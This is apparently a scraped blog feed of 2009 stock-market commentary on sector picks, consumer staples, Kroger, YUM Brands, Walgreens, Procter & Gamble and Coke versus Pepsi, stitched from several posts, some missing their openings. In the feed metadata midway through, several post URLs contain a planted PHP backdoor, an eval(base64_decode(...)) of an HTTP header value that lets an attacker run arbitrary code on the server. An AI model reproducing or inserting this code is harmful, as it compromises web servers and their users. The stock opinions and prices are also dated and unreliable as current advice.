Energy – [NE: 40.02, -1.68 (-4.03%)] YTD: 40.07%, [NOV: 42.79, -1.04 (-2.37%)] YTD: 47.46%, [APA: 96.47, -0.60 (-0.62%)] YTD: 14.13%, [XLE: 56.60, -0.53 (-0.93%)] YTD: 8.52%

One of our best performing sectors has been energy.  After oil and natural gas prices dropped more than 70% from their highs, it was very evident that many of the names in the sector were oversold, especially the smaller names and the names in the services sub-sector.  Noble and National Oilwell Varco both fall into this category as companies with excellent free cash flow that were oversold when the markets priced in oil staying at $30 for a sustained time period.  Apache bring excellent Southeast Asian natural gas exposure to the table, and the companies recent earnings and the rebound in natural gas prices has done wonders for the stock.

Financials – [GS: 170.01, -2.82 (-1.63%)] YTD: 65.41%, [MS: 32.10, -0.21 (-0.65%)] YTD: 78.26%, [TRV: 52.38, -0.30 (-0.57%)] YTD: -14.12%, [XLF: 14.60, -0.09 (-0.61%)] YTD: 3.99%

By far our best sector relative to its benchmark has been financials, and this has been due to our index having no exposure to the big banks.  Goldman Sachs and Morgan Stanley both passed the stress tests with flying colors and are in line to be two of the first companies to pay back the TARP funding when the government allows firms to capitalize privately again.  Travelers has outperformed many of its insurance peers as their real estate exposure is less toxic than its competitors.

Healthcare – [ABT: 53.64, +0.68 (+1.28%)] YTD: -15.21%, [TEVA: 52.72, -0.32 (-0.60%)] YTD: 3.43%, [GILD: 46.39, -0.13 (-0.28%)] YTD: -13.94%, [XLV: 30.39, +0.21 (+0.70%)] YTD: -3.62%

Another sector that has lagged in 2009 is healthcare, although this could turn around very quickly.  Teva is the world’s largest generic company and stands to benefit a lot under President Obama’s new healthcare spending plans.  Abbott and Gilead are both leaders in their respective sub-sectors, and any rebound in healthcare will see these names outperform some of their smaller peers.  Gilead’s work on HIV drugs has been groundbreaking, and its exposure to this market will help them to be one of the fastest growing large healthcare companies for years to come.

Industirals – [NOC: 55.00, +0.50 (+0.92%)] YTD: 12.21%, [FLR: 44.32, +0.36 (+0.82%)] YTD: 0.67%, [AME: 36.69, 0.00 (0.00%)] YTD: 9.47%, [XLI: 27.46, -0.05 (-0.18%)] YTD: 0.38%

The industrials sector took it on the chin in 2008 but is starting to show the signs of an early recovery in 2009.  Some of the rebound was due to President Obama’s stimulus plan, as seen with Fluor, while another portion of the rebound was due to fundamentals sitting at historically attractive levels.  Ametek’s strategy of using acquisitions for growth obviously won’t play out in 2009 but in the near future the company could find smaller competitors at extremely cheap valuations.  Northrop Grumman remains one of the big four defense contractors and has a number of reliable government contracts to help its revenues remain steady over the next few years.

Information Technology – [CERN: 75.84, -0.04 (-0.05%)] YTD: 48.32%, [SY: 39.92, -0.42 (-1.04%)] YTD: 32.66%, [WU: 18.83, -0.45 (-2.33%)] YTD: 24.83%, [XLK: 21.69, -0.11 (-0.50%)] YTD: 10.90%

Information technology has been one of the best sectors to be in during 2009.  The rebound in IT started before all of the other sectors and has only slowed recently.  Our index had exposure to many smaller names that have skyrocketed in 2009 because of their exposure to niche sub-sectors.  Cerner stands to benefit tremendously from President Obama’s healthcare plans and could see growth rates well over 25% for years to come.  Western Union has safe revenues from transaction services and Sybase excels in their small niche as demand increases for mobile information solutions.

Materials – [PX: 82.61, +0.25 (+0.30%)] YTD: 23.25%, [GEF: 57.52, +0.98 (+1.73%)] YTD: 47.29%, [AGU: 57.32, +0.13 (+0.23%)] YTD: 32.43%, [XLB: 32.44, -0.11 (-0.34%)] YTD: 17.85%

By a wide margin the best sector so far this year has been materials, which coincidentally was one of the worst performing sectors in 2008.  This is another sector where depressed commodity prices led to valuation that made no sense even in a severe recession.  Packaging company Greif gave our index exposure to a small portion of the composite that well outperformed its peers in 2009 based on fundamentals alone.  Praxair is one of the two most profitable companies in the gases space and Agrium has made aggressive moves in 2009 to boost shareholder confidence.

Utilities – [WGL: 31.33, -0.04 (-0.13%)] YTD: -5.51%, [ED: 41.90, +0.10 (+0.24%)] YTD: -2.03%, [FPL: 51.11, +0.25 (+0.49%)] YTD: 13.57, [XLU: 29.25, +0.13 (+0.45%)] YTD: -6.13%

Even with their lofty dividends, the utilities stocks were able to keep pace through the first third of 2009.  WGL and Consolidated Edison have chugged along steadily, but Florida Power and Light has been the real star this year.  They are owners of the most envious wind generation portfolio in the country and have extensive build-out plans over the course of the next few years.  Again, this is a company that will no doubt benefit from President Obama’s stimulus plan and his plan to move to renewable energy sources as quickly as possible.

Outlook

We will continue to track this picks for the rest of the year and by no means are chalking this one up as a win just yet even with our hot start.  At this point we remain cautiously bullish on our companies and fairly neutral on the market over the short term mainly because the rally has occur so quickly.  If you want to read extremely detailed analysis about these 27 companies you can visit the following link and download our newsletter free of charge.  We will be releasing a new newsletter later this week entitled “Stocks For An Economic Recovery” that will highlight stocks that stand to benefit the most when the economic data begins to turn around.  Lastly, we would like to thank all of our readers and newsletter subscribers for their continued support through these tough economic and financial times.  Best of luck investing!

- Charles W. Petredis

Disclosure: The mutual fund the author manages has long positions in MCD, WMT, NE, APA, GS, XLF, ABT, TEVA, GILD, FLR, AME, CERN, PX, ED, and FPL.  The authors family has long positions in MCD, WMT, NE, NOV, APA, ABT, CERN, XLY, XLP, XLE, XLF, XLV, XLI, XLK, XLB, and XLU.  The author has long positions in APA, and NE.

1. When all “experts” make a forecast, something else is going to happen: One of the famous market rules written by former Merrill Lynch legend Bob Farrell, seems to be coming true with the staples sector. When everyone agrees about a certain topic, it is normally at the height of the bullishness on the subject. Staples seems to be a victim of a market where everyone tried so hard to implement, that it got to the point where it was not unique, and could not differentiate one portfolio from another. When most of the stocks in a sector are owned, unless owners are comfortable with adding more risk to their portfolio by adding more stocks from that particular sector, they are essentially creating the top for the stocks in this sector, and thus their own portfolio. Let’s face it, beating the markets involves using analysis that other people may not have readily thought of, and trying to exploit it to your advantage. Clearly consumer staples was not the medium by which you should have tried to implement this strategy over the past few months. When the market goes down by 5,10,15% fire sales will arise out of fear. If your portfolio is over-weighted with staples stocks, then that is also when you begin selling to liquidate the heaviest position in your portfolio, building a cash position. The overweight rating that many prescribed to back when the Dow was at 8700, has also caused the collapse. Now people move from being comfortable with the perceived safety of staples stocks, to being completely jaded by the equity market, and not wanting any part of it.
2. Earnings Outlook: The earnings outlook for staples companies has been anything but rosy. When well weather companies like Procter & Gamble [PG: 61.80, -0.35 (-0.56%)] report dismal outlooks in an economic environment where they should be thriving, it indicates that no company is immune to the worst economic downturn since the Great Depression. When all the trends are in a sectors favor, investors are more than willing to allow the stocks in the sector to trade at a premium relative to market norms. Of course those stocks need to be able to keep up performance and maintain their fundamentals. At the first sign of weakness though, investors will be the quickest to take away this premium, that they feel may not have been warranted in the first place as they question the validity of their intuition. Clearly some of the staples companies did not deserve to trade at premiums, and did so because every pundit said that an investment in the sector would be a great idea. Much of the earnings deterioration can be attributed to the fact that companies in the sector really pushed international growth in the past few years, and as this downturn goes global; not only are revenue streams affected in foreign countries, you are seeing currency hedges go wrong with the recovering dollar and foreign currencies collapsing with their respective economies.
3. Trade Down Effect: The trade down effect from brand name goods to private label goods has caused a change of epic proportions in the staples sector. While it is easy to say that people will revert to goods that Procter and Gamble provides during a recession because they provide relatively inelastic goods; the reality is consumers will go further to cut costs and begin to purchase generic brands. That is exactly what is going on in the private sector right now. Brands like Kraft are not the lowest customers are willing to go anymore. There are a lot of the private companies who offer goods significantly cheaper. It is definitely an interesting trend in the staples sector, that has played out much stronger than I had originally thought it would.

All in all, staples has not been a particularly good or bad investment within the equity markets. It has been merely average. I definitely did not expect that going into this year, but I guess that is just what makes the markets so interesting and offers anyone and everyone a continuous learning experience. It makes you wonder what the next day will bring, and where we will go from here. I guess that is the real question in this chaotic markets.

-Vinay Ayala

Disclosure: None

]]> http://www.bullishbankers.com/2009/03/10/why-is-consumer-staples-underperforming/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 0 http://www.bullishbankers.com/2009/02/22/best-staples-stocks-of-2009/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.bullishbankers.com/2009/02/22/best-staples-stocks-of-2009/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Sun, 22 Feb 2009 11:00:46 +0000 Vinay Ayala http://www.bullishbankers.com/?p=9509 Looking ahead to 2009, Consumer Staples should continue to be one of the best performing sectors in the market, given its strong fundamental macroeconomic backdrop relative to the other sectors in the S&P 500. We can sit and argue as to whether or not the market will go back up or further deteriorate in 2009, but given the unstable credit and the uncertain housing and labor markets, it is hard to say just what will happen and how much is already priced in. That being said three stocks in Consumer Staples should benefit in this environment.
Kroger Company [KR: 22.86, +0.04 (+0.18%)]

Kroger Co. is one of the largest US supermarket chains, operating about 2,500 supermarkets, some of which operate fuel centers as well. The company operates stores in the following formats: combo stores, which are the local neighborhood supermarkets that you shop at; multi-department stores, which are larger than combo stores and have a similar offering to a store such as Wal-Mart; and price warehouses, which are one stop shops for low priced goods in a warehouse setting. The firm also has 782 convenience stores and 394 fine jewelry stores.

The firm has three tiers of private label items: Private Selection, meant to meet or beat the gourmet brands, “banner brands”, which attempts to be equal or better to the national brand and Kroger value, designed to deliver goods at affordable prices for the consumers. Their strong portfolio of private label goods will continue to benefit them in 2009, as one of the emerging trends in Consumer Staples, is a shift toward these private label goods.

Their business model is also very attractive. Their customer 1st strategy is one of the best in retail and is what will continue to drive their sales growth. Kroger’s CEO sums up the program best in one of the most recent conference calls:

“One of the most sophisticated tools we use to leverage opportunities in any economy is our vast collection of consumer data derived from our customer loyalty cards. We use this data to anticipate and respond to changes in consumer behavior. We’ve been building our extensive collection of consumer data since 1999. Today more than 40% of all US households [has] one of our shopper’s cards. As a result, Kroger has one of the largest retail consumer databases in America.

Our partnership with Dunnhumby USA gives us valuable insight into our customer’s shopping habits. Through this insight we’re able to use our customer loyalty data to benefit our customers and increase their engagement with our stores. Our work with Dunnhumby also allows us to segment our store base to offer customers in each store the right mix of products and services. The store segmentation strategy and Kroger’s multiple formats allows us to meet the specific needs of various consumer segments.”

It is no secret that Kroger has performed well in this market. They had same store sales growth at 4.7% for their last quarter, with this quarters growth trending at 5%. Much like Wal-Mart, Kroger has withstood the economic downturn and has benefited greatly from consumers deciding to eat at home. The consumers also love the value brands that their stores offer, particularly their private label items, which have seen strong growth during the economic slowdown. Kroger also holds the #1 or #2 position in market share in 39 of their 43 markets. This is due to a combination of their customer loyalty initiatives as well as their low prices.

Given their strong macroeconomic backdrop with a shift to private labels, strong business model and strong performance in this market are reasons to believe that Kroger should continue to be a company that outperforms the broader market in 2009.

To read the rest of this research report and reports from other sectors, please visit this link for a free download of this newsletter.

- Vinay Ayala

Disclosure: None

Company-wide, YUM maintained strong worldwide operating profit growth of 17%, excluding special items, driven by 18% growth in the China Division and 7% growth in the U.S during the last quarter.  Growth was obviously down from the exorbitant numbers in previous quarters as expansion overseas boomed and the U.S. was still operating without the stigma of an official recession, but reality set in towards the end of the year and numbers moderated slightly.  Overall company growth remained solid in the face of the global slowdown as the company opened a record 1,495 new restaurants outside the U.S., generated worldwide same-store-sales growth of 3%, and grew worldwide operating profit by 8%.

A Closer Look

With four of their restaurant brands – KFC, Pizza Hut, Taco Bell and Long John Silver’s – global leaders in their respective food categories, the company operates in three distinct business divisions:  The United States, China, and YUM! Restaurants International.

The lack of consumer spending in the U.S. was evident in the company’s latest financial report as same-store growth fell to only 2% percent during the quarter.  Operating income was up impressively 7% percent from the same period in 2007, but for the full year down around -6% percent.  Numbers were deceivingly impressive over the last quarter as a result of franchising gains, but losses of over $100 million dollars over the course of the year due to commodity inflation tempered earnings.  YUM plans on continuing to franchise their stores with 500 more planned this year in hopes of reducing company ownership to 10% percent or less by 2010.

China and Beyond

As the U.S. markets continue to flounder amid the financial meltdown, China and the rest of the world have weathered the deepening storm seemingly with better fortune, at least from YUM Brand’s point of view.  Their China division includes all of mainland China as well as Thailand (KFC and Pizza Hut), and Taiwan (KFC).  Explosive growth continued on the mainland as a record number of new store were opened over the quarter and the company was able achieve fourth quarter operating profit growth of 18% percent, albeit lagging far below the 44% percent rate of a year ago.  The bottom line was positive, but hurt significantly by continued high commodity inflation and the ever increasing costs of labor in China.  Foreign currency conversion did provide relief as the Yuan has appreciated against the Dollar over the earnings period.

With respect to the rest of the world outside the United States and China, YRI kept moving forward as they opened a record 924 new restaurants in more than 75 countries with strong system-sales growth of 9% for the quarter.  Higher growth numbers were negated by an unfavorable currency exchange, cutting off 8% percentage points for the quarter.

What’s Next?

YUM Brand’s Chairman and CEO David C. Novak summed it up well in saying, “As we go into 2009 we continue to target at least 10% growth in EPS, while recognizing that in particular the U.S. consumer is under extreme financial pressure, making sales growth more difficult to achieve than in recent times… Nevertheless, we remain confident that the power of our global portfolio will enable us to once again perform relatively well in what promises to be a challenging environment.”

Top executives have said that they plan on the first quarter being significantly impacted by commodity inflation and continued unfavorable currency exchanges in certain markets.  They do feel however that once they make it through the beginning of 2009, the inflation should moderate and they feel well-positioned to make a strong finish at the end of the year.  This was echoed with very positive guidance for the full-year as they repeated their forecast for per-share earnings growth of at least 10% percent in 2009 and said it sees full-year earnings of $2.10 per share, excluding items.  That is $0.02 cents above analysts’ average forecast of $2.08 for 2009.

YUM continues to outperform both the Dow and S&P 500 over the last six months and will be looking to capitalize on any turn around in consumer food spending.  You should not be looking for fireworks when you invest in this company, and patience will be rewarded as this company builds on their already dynamic reputation and global reach.  With such high brand recognition and new stores shooting up across the world at staggering rates, even with fewer than record store openings I feel YUM will be a safe investment for the future.  Now is probably not the time for any serious consideration for a long position in any stocks, but as the economy continues to shake itself out best of breed companies such as YUM Brands Inc. will make their presence felt in the end.

- Chris Barrella

Disclosure: None

Even though overall store sales were up 6.6% over the last 3 months, higher selling, general, and administrative costs related to the opening of a record 212 new or acquired stores throughout the quarter.  Gross profits were also hurt by an increase in the LIFO provision to $43 million in this year’s quarter versus a provision of $27 million in last year’s first quarter.

In response to the tougher economic conditions, Walgreen plans on reducing further new store openings to 4 – 4.5% in 2010 and 2.5 – 3%t in 2011 to save an additional $500 million in capital expenditures beyond the $500 million announced in June.  Plans for store openings have been cut further after a 5% organic growth rate was announced back in July but have to be cut to allow for more savings.  The goal is to utilize the savings from fewer store openings by remodeling and renovating current stores as well as expanding merchandise variety to take full advantage of already well-established operations.  With online sales at Walgreens.com up 45% in November and prescription sales up 6.6% during the quarter, Walgreens has been able to maintain its strong industry position. Walgreen’s CEO, Gregory D. Wasson, commented:

“We continue to post solid sales results and achieve strong cost control in this difficult retail environment.  Customer traffic strengthened through the quarter and we’re making substantial progress on our growth strategies to get more from our core operations and enhance the customer experience.”

On top of cutting back on store expansion over the next couple of years, Walgreens has implemented their Rewiring for Growth and Power initiatives which are designed to enhance patient-pharmacist interaction and reduce costs in the areas of indirect procurement, general overhead, and labor.  Their goal is $1 billion in total costs savings by fiscal 2011.  The first quarter results were negatively impacted by 1 cent per diluted share related to Rewiring for Growth one-time costs.

Ceo Wasson added:

“We believe that further slowing of organic store growth is a prudent step in the context of current economic conditions. Furthermore, by freeing up human and financial capital, substantial upside exists to drive greater value creation by enhancing the best community-based store network in America. This includes refreshing and remodeling existing stores, more efficient assortment within stores, prescription file buys and continued expansion of retail and worksite clinics.”

Even with consumers cutting back, drug stores and discount retailers are still holding tough.  Even with Walgreen’s miss showing discount retailers are feeling the pinch, CVS showed some strength as they rallied back after a steep drop at the open and reiterated their earnings guidance for fiscal 2008.  It’s obvious the Walgreen’s increased SG&A expenses are on the rise due to store openings and the demand simply is not there for their historic store growth for the next couple of years.  I anticipate profits to be under more pressure going into 2009 and further lowering of growth estimates possible going forward.

- Chris Barrella

Disclosure: None

Private Label

The trend toward private label goods, goods that are normally cheaper than the brand name products because they are produced by individual stores, has been one of the emerging trends in consumer staples over the past year. It seems as though consumers are even cutting back on the types of soaps, toothpaste, and shaving cream that they buy and going for the cheaper, private label brands instead of the brand names that P&G produces. Firms like Safeway [SWY: 22.62, +0.12 (+0.53%)] have greatly benefited from this trend as they have been able to draw in the consumer better than most firms. This is a trend that I would expect to continue in the future given that consumers are still deleveraging their balance sheets and trying to save more. They will cut costs anywhere they can over the next few months to years. This should hurt P&G because they tend to sell higher priced products in comparison to the private label brands.

Divestitures & Acquisitions

The acquisition of Gillette in 2005 and the recent sale of Folgers is probably part of the reason for the deterioration that P&G is seeing. Folgers was a lower margin, lower priced product, while Gillette products are the exact opposite, which has probably caused some problems in this tough environment. P&G’s decision to divest lower margin, lower priced brands and move into some more discretionary products by trying to expand their beauty and health care segments, has negatively impacted the bottom line in this economy. The company did state that they could attempt to make more acquisitions as value opens up in this environment. Do not be surprised to see P&G add to their already extremely diverse portfolio of goods.

The firm also stated that they would be spending more money to expand into emerging markets, such as India and China, as they try to continuously improve their global footprint. All this being said, P&G is still probably one of the better stocks to own in this environment because of the extreme volatility in the market, which Proctor & Gamble handles pretty well because of their strong business model, consistent earnings, and solid dividend.

This does help to point out some interesting trends in consumer staples though:

1. The recent reduction in commodity prices is positively impacting consumer staples’ companies cost of goods sold and could lead to margin expansion in the near future.
2. The trend towards private label goods is in full force due to the diminishing state of the consumer as they look to cut costs where ever they can, even if it means with soaps and toothpaste.
3. Currency is having a very big impact on many firms, particularly those that are not hedged or have hedged in the wrong direction. For example, Pepsico [PEP: 62.08, +0.20 (+0.32%)] has already stated that they will see about a 7% loss from currency hedging gone wrong, while Coca-Cola [KO: 57.48, +0.60 (+1.05%)] will see a gain from currency hedging. It is important to examine firms hedging strategies to ensure that they will not see extreme negative impacts to their bottom line in the future.

-Vinay Ayala

Disclosure: Author is long P&G and the mutual fund the author manages is long KO.

Beverage Trends

One of the most important things to consider when looking at Pepsi & Coke are the beverage trends in the various markets that they serve. A common measure is volume growth, and It is the volume growth in the regions in which they operate that will drive future growth for both firms. If either firm misses an opportunity in an area, it is likely that the other will pounce on the misstep and take advantage.

First, lets take a look at the domestic operating environment. It has been no secret that beverage trends, especially for carbonated soft drinks, have taken a turn for the worse over the past two and a half years as Americans battle with health problems such as diabetes and obesity, of which Pepsi and Coke have shouldered part of the blame due to their unhealthy carbonated drinks. Volume growth in North America for Pepsi has gone from 5% volume growth in 2006 to an estimated -2% growth for 2008. Coke has had similar dismal numbers domestically, going from 0% growth in 2006 to an estimated -1% growth for 2008. Let’s face it, North America is not the place that these companies want to invest much more money into going forward, unless they revamp their product lines, which I will touch on later.

International volume growth has been much stronger for both firms in the past few years.  Coke has had consistent growth of 7%, while Pepsi has had consistent growth of 9%.  While both have strong international growth, Coke is the firm that is able to benefit the most from strong international beverage growth.  With nearly 80% of their sales, compared to Pepsi’s 50%, coming from international sources, Coke has slightly pulled ahead in the race.  Coke 1, Pepsi 0 (a little scorecard for the readers.)  You might counter by saying the strengthening dollar is going to hurt Coke more going forward.  Think again.  Coke has already said that they will see gains from their currency hedging for the next quarter and the full year, but Pepsi has said that they will probably have to book a loss in the fourth quarter due to currency hedges that have gone bad.  So Coke, with even higher international sales, has not had a problem with currencies, while Pepsi has had a problem.  Coke 2, Pepsi 0.

Well, that means that Pepsi has more room to grow internationally and take control over Coke. While this may be true, I think Pepsi is going to find it hard to become a competitor right away in markets that Coke has already had a place in for years. Let’s say that Pepsi does see this international growth; they are going to have another problem. Margins. With almost any staples company, maintaining healthy margins are crucial to success. Pepsi International has the worst margins of all its business segments and is well below the firm’s average. Pepsi’s international operating margins were 13.2% in 2007, while firm wide margins were 18.4%. Compare this to Coke and you will see why they are better. Take a look at a breakdown by international region of their margins:

North America: 22.1%
Latin America: 57.1%
Europe: 63.1%
Eurasia & Africa: 36.3%
Pacific: 42.6%
Firm wide operating margins: 26.1%

Their best margins come from international waters, where the most growth is. Pepsi’s worst margins come from the region where the most growth is. Coke 3, Pepsi 0.

Bottlers

One of the most important things to understand with both Pepsi and Coke is the relationship with their bottlers. These bottling groups, such as Coca-Cola Enterprises [CCE: 20.42, +0.19 (+0.94%)] for Coke and Pepsi Bottling Group [PBG: 37.87, +0.12 (+0.32%)] for Pepsi, are core pieces of both firms’ business model. Maintaining healthy relationships with the bottlers is important because these are the firms that Coke and Pepsi sell their products to and are the companies that actually sell and distribute most of their products. It has been no secret that Pepsi has had much better relations with their bottlers in the past and probably will continue to do so going forward. That being said, Coke, with their newest CEO, has made it a much larger part of corporate strategy to develop stronger relations with their bottlers in an attempt to solidify their business model. I would expect KO to continue to develop positive relations with their bottlers, as they try to rid themselves of some of the problems they have had in the past. But, Pepsi still has the advantage here so Coke 3, Pepsi 1.

Snacks

Probably the biggest difference between Coke and Pepsi is the range of products that they offer. While Coke only offers soft drinks, Pepsi also offers snacks to the consumer, such as Lays potato chips and Cheetos. Traditionally snacks outperform beverages during economic downturns and if there is one thing that is keeping Pepsi afloat, it is their diverse range of product offerings, which Coke does not have. Some of these products also offer healthy options, such as Quaker oatmeal, which helps Pepsi’s image in the face of the domestic consumer.  Coke 3, Pepsi 2.

Productivity for Growth

One of the biggest things that came out of Pepsi’s latest conference call was the fact that they would be cutting costs and saving $1.2 billion over the next 3 years and use the funds to make capital expenditures to revitalize their North American business line and ensure the continued success of their snacks and international business. They also recently announced a $1 billion investment in China, which seems like a response to Coca-Cola’s acquisition of one of the top Chinese beverage producers Huiyan Juice company. They have also pledged to invest $3 billion in Mexico to increase sales of both beverages and snacks in the area. While these expenditures do limit their ability to acquire firms as they have in the past to further diversify their portfolio, spending money to grow internationally is a positive in my mind. The only thing that bothers me is the margin factor that I mentioned above. If they can improve on this it will be a brilliant move, but we have yet to get any visibility on how pricing will be after these investments. So for now, I will give Pepsi 0.5 points of credit. Coke 3, Pepsi 2.5.

Valuation

From a valuation standpoint, these companies are currently pretty similar. But when looking at historical data, Coke is at a 20 year low on a P/E basis, while Pepsi has just begun to approach these levels. From a valuation standpoint, Coke seems to be the better choice. The strong margins and solid sales in this economy have helped shelter them from the downturn better than Pepsi. Until Pepsi can make international sales a more significant part of their revenue stream and improve margins (which in my mind indicates better brand recognition and pricing power), I will continue to believe that Coke is the better choice. Either way, both Pepsi and Coke offer great things for investors with consistent earnings and dividend growth. It’s just a matter of which one you like better. For me, it’s Coca-Cola.

-Vinay Ayala

Disclosure: The mutual fund that the author is associated with is long KO.